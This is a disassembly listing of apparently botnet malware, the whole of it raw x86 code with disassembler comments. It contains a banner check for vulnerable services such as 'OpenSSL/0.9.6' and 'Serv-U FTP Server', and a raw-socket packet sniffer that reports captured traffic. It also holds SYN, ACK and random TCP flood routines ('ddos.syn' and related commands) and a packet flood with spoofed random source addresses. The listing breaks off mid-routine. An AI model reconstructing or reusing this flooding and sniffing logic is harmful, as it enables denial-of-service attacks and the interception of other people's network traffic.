		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412ED4

loc_412ED0:				; CODE XREF: sub_412EBA+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412ED4:				; CODE XREF: sub_412EBA+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412ED0
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412EFA

loc_412EF6:				; CODE XREF: sub_412EBA+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412EFA:				; CODE XREF: sub_412EBA+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412EF6
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412F1F	proc near		; DATA XREF: sub_401C87+4254o

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41EF80
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		xor	esi, esi
		push	3Fh
		inc	esi
		xor	ebx, ebx
		mov	[eax+90h], esi
		pop	ecx

loc_412F4D:				; DATA XREF: .packed:off_451778o
					; .packed:off_45177Co
		xor	eax, eax
		lea	edi, [ebp+var_3B7]
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4E309C	; gethostname
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4E310C	; gethostbyname
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41FBF0
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4E3108	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412FC5
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_412FC5:				; CODE XREF: sub_412F1F+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4E30B4	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41303B
		call	dword_4E301C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_44CA48
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_413017
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409C75
		add	esp, 14h

loc_413017:				; CODE XREF: sub_412F1F+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415A3C
		pop	ecx
		push	edi
		call	dword_4E3120	; closesocket
		push	[ebp+var_34]
		call	sub_40B9A7
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread

loc_41303B:				; CODE XREF: sub_412F1F+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4E3034	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4130C1
		call	dword_4E301C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_44CA74
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_41309D
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409C75
		add	esp, 14h

loc_41309D:				; CODE XREF: sub_412F1F+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415A3C
		pop	ecx
		push	edi
		call	dword_4E3120	; closesocket
		push	[ebp+var_34]
		call	sub_40B9A7
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread

loc_4130C1:				; CODE XREF: sub_412F1F+13Cj
		mov	esi, 200h

loc_4130C6:				; CODE XREF: sub_412F1F+1D6j
					; sub_412F1F+1FFj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4E30A0	; recv
		cmp	[ebp+var_113AF], 6
		jnz	short loc_4130C6
		push	[ebp+var_113A4]
		call	dword_4F5500	; htons
		push	[ebp+var_113A4+2]
		movzx	edi, ax
		mov	[ebp+var_4], edi
		call	dword_4F5500	; htons
		movzx	eax, ax
		cmp	edi, 6Eh
		mov	[ebp+arg_0], eax
		jz	short loc_4130C6
		cmp	edi, 19h
		jz	short loc_4130C6
		cmp	eax, 6Eh
		jz	short loc_4130C6
		cmp	eax, 19h
		jz	short loc_4130C6
		push	[ebp+var_113AC]
		call	sub_412C10
		mov	edi, dword_4F5504
		add	esp, 4
		push	dword ptr [eax]
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_27	; "%s"
		push	eax
		call	sub_41EA60
		push	[ebp+var_113A8]
		call	sub_412C10
		add	esp, 10h
		push	dword ptr [eax]
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_28	; "%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_1138C]
		xor	edi, edi
		push	eax
		call	sub_41BC70
		add	esp, 10h
		test	eax, eax
		jle	short loc_4131BB

loc_413192:				; CODE XREF: sub_412F1F+29Aj
		lea	eax, [ebp+edi+var_1138C]
		cmp	byte ptr [eax],	0Dh
		jnz	short loc_4131A1
		mov	byte ptr [eax],	20h

loc_4131A1:				; CODE XREF: sub_412F1F+27Dj
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4131A9
		mov	byte ptr [eax],	20h

loc_4131A9:				; CODE XREF: sub_412F1F+285j
		lea	eax, [ebp+var_1138C]
		inc	edi
		push	eax
		call	sub_41BC70
		cmp	edi, eax
		pop	ecx
		jl	short loc_413192

loc_4131BB:				; CODE XREF: sub_412F1F+271j
		cmp	[ebp+var_4], 50h
		jz	loc_41325D
		cmp	[ebp+arg_0], 50h
		jz	loc_41325D
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412C1F
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_413205
		push	[ebp+arg_0]
		lea	eax, [ebp+var_BB8]
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+var_4]
		push	eax
		push	offset unk_44CAAC
		jmp	loc_41328E
; ---------------------------------------------------------------------------

loc_413205:				; CODE XREF: sub_412F1F+2C6j
		call	sub_412D36
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_413231
		push	[ebp+arg_0]
		lea	eax, [ebp+var_BB8]
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+var_4]
		push	eax
		push	offset unk_44CAE0
		jmp	short loc_41328E
; ---------------------------------------------------------------------------

loc_413231:				; CODE XREF: sub_412F1F+2F5j
		call	sub_412DAC
		test	al, al
		pop	ecx
		jz	short loc_41325D
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+var_4]
		push	eax
		push	offset unk_44CB14
		jmp	short loc_41328E
; ---------------------------------------------------------------------------

loc_41325D:				; CODE XREF: sub_412F1F+2A0j
					; sub_412F1F+2AAj ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412E33
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_4132CC
		push	[ebp+arg_0]
		lea	eax, [ebp+var_BB8]
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+var_4]
		push	eax
		push	offset unk_44CB48

loc_41328E:				; CODE XREF: sub_412F1F+2E1j
					; sub_412F1F+310j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41EC30
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_4130C6
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409C75
		add	esp, 14h
		jmp	loc_4130C6
; ---------------------------------------------------------------------------

loc_4132CC:				; CODE XREF: sub_412F1F+354j
		call	sub_412EBA
		test	al, al
		pop	ecx
		jz	loc_4130C6
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+var_4]
		push	eax
		push	offset unk_44CB80
		jmp	short loc_41328E
sub_412F1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4132FC	proc near		; DATA XREF: sub_401C87+65EDo

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	dword_4F537C	; GetTickCount
		push	eax
		call	sub_41EB60
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4136E4
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_44CBB8
		push	eax
		call	sub_41EA60
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_41338C
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_409C75
		add	esp, 14h

loc_41338C:				; CODE XREF: sub_4132FC+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_415A3C
		push	[ebp+var_290]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_4132FC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4133AE	proc near		; CODE XREF: sub_4136E4+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4E2FF8	; WSAStartup
		test	eax, eax
		jz	short loc_4133EE
		xor	eax, eax
		jmp	loc_4136B7
; ---------------------------------------------------------------------------

loc_4133EE:				; CODE XREF: sub_4133AE+37j
		xor	edi, edi
		inc	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4E312C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4136AF
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4E3068	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4136A5
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4E3088	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4E3088	; htons
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4E3088	; htons
		mov	[ebp+var_12], ax
		call	sub_41EB70
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4E3088	; htons
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4E3084	; htonl
		push	offset aDdos_syn_0 ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4134BE
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_413512
; ---------------------------------------------------------------------------

loc_4134BE:				; CODE XREF: sub_4133AE+105j
		push	offset aDdos_ack_0 ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4134DA
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_413512
; ---------------------------------------------------------------------------

loc_4134DA:				; CODE XREF: sub_4133AE+121j
		push	offset aDdos_random_0 ;	"ddos.random"
		push	[ebp+arg_8]
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413512
		call	sub_41EB70
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41EB70
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl

loc_413512:				; CODE XREF: sub_4133AE+10Ej
					; sub_4133AE+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4E3088	; htons
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	dword_4F540C	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_4F5408	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_421180
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx

loc_413560:				; CODE XREF: sub_4133AE+2E2j
					; sub_4133AE+2EEj
		mov	[ebp+var_4], bx
		call	sub_41EB70
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4E3088	; htons
		mov	[ebp+var_14], ax
		call	sub_41EB70
		mov	edi, eax
		shl	edi, 10h
		call	sub_41EB70
		or	edi, eax
		push	edi
		call	dword_4E3088	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4E3084	; htonl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4E3088	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41FBF0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41FBF0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF06
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41FBF0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41FBF0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41E4B0
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF06
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41FBF0
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4E30EC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4136BB
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_4F5408	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4136A2
		jl	loc_413560
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jb	loc_413560

loc_4136A2:				; CODE XREF: sub_4133AE+2E0j
		mov	ebx, [ebp+arg_8]

loc_4136A5:				; CODE XREF: sub_4133AE+78j
					; sub_4133AE+334j
		push	[ebp+var_20]
		call	dword_4E3120	; closesocket
		pop	esi

loc_4136AF:				; CODE XREF: sub_4133AE+5Bj
		call	dword_4E2FE0	; WSACleanup
		mov	eax, ebx

loc_4136B7:				; CODE XREF: sub_4133AE+3Bj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4136BB:				; CODE XREF: sub_4133AE+2CBj
		call	dword_4E301C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_44CC04
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415A3C
		add	esp, 10h
		jmp	short loc_4136A5
sub_4133AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4136E4	proc near		; CODE XREF: sub_4132FC+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AD91
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41E710
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41E710
		mov	edi, eax
		call	sub_41EB70
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4133AE
		add	esp, 20h
		test	eax, eax
		jnz	short loc_413731
		inc	eax

loc_413731:				; CODE XREF: sub_4136E4+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4136E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413740	proc near		; DATA XREF: sub_401C87+67DDo

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_1BC]
		push	0FFh
		inc	ebx
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_4E3108	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4137DB
		call	dword_4E301C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_44CC20
		push	eax
		call	sub_41EA60
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4137BE
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409C75
		add	esp, 14h

loc_4137BE:				; CODE XREF: sub_413740+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_415A3C
		push	[ebp+var_38]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4F53A0	; ExitThread

loc_4137DB:				; CODE XREF: sub_413740+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_4E3068	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413852
		call	dword_4E301C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_44CC4C
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_413835
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409C75
		add	esp, 14h

loc_413835:				; CODE XREF: sub_413740+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_415A3C
		push	[ebp+var_38]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4F53A0	; ExitThread

loc_413852:				; CODE XREF: sub_413740+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4E30C8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4138B9
		lea	eax, [ebp+var_3BC]
		push	offset unk_44CC7C
		push	eax
		call	sub_41EA60
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_41389C
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409C75
		add	esp, 14h

loc_41389C:				; CODE XREF: sub_413740+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_415A3C
		push	[ebp+var_38]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4F53A0	; ExitThread

loc_4138B9:				; CODE XREF: sub_413740+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_4E3088	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4E30C8	; inet_addr
		mov	esi, dword_4F537C
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax
		jmp	loc_413A1A
; ---------------------------------------------------------------------------

loc_4138FC:				; CODE XREF: sub_413740+2EBj
		push	41Ch
		mov	byte_4E5DF0, 45h
		call	dword_4E3088	; htons
		cmp	[ebp+var_2C], edi
		mov	word_4E5DF2, ax
		mov	word_4E5DF4, bx
		mov	word_4E5DF6, di
		mov	byte_4E5DF8, 80h
		mov	byte_4E5DF9, bl
		mov	word_4E5DFA, di
		jz	short loc_41396B
		call	sub_41EB70
		mov	ebx, eax
		shl	ebx, 8
		call	sub_41EB70
		add	ebx, eax
		shl	ebx, 8
		call	sub_41EB70
		add	ebx, eax
		shl	ebx, 8
		call	sub_41EB70
		add	ebx, eax
		mov	dword_4E5DFC, ebx
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_413983
; ---------------------------------------------------------------------------

loc_41396B:				; CODE XREF: sub_413740+1F9j
		push	[ebp+var_1BC]
		call	sub_40AEAD
		pop	ecx
		push	eax
		call	dword_4E30C8	; inet_addr
		mov	dword_4E5DFC, eax

loc_413983:				; CODE XREF: sub_413740+229j
		mov	eax, [ebp+var_18]
		mov	dword_4E5E00, eax
		call	sub_41EB70
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4E5E04, dl
		call	sub_41EB70
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4E5E05, dl
		call	sub_41EB70
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_4E5E06, di
		mov	word_4E5E0A, bx
		inc	edx
		mov	word_4E5E08, dx
		call	sub_41EB70
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_4E5E0C
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_4E5DF0
		push	[ebp+var_4]
		call	dword_4E30EC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_413AB6
		inc	[ebp+arg_0]

loc_413A1A:				; CODE XREF: sub_413740+1B7j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+var_30]
		jbe	loc_4138FC
		push	[ebp+var_4]
		call	dword_4E3120	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_44CCA0
		push	eax
		call	sub_41EA60
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_413A99
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409C75
		add	esp, 14h

loc_413A99:				; CODE XREF: sub_413740+337j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_415A3C
		push	[ebp+var_38]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4F53A0	; ExitThread

loc_413AB6:				; CODE XREF: sub_413740+2D1j
		push	[ebp+var_4]
		call	dword_4E3120	; closesocket
		call	dword_4E301C	; WSAGetLastError
		push	eax
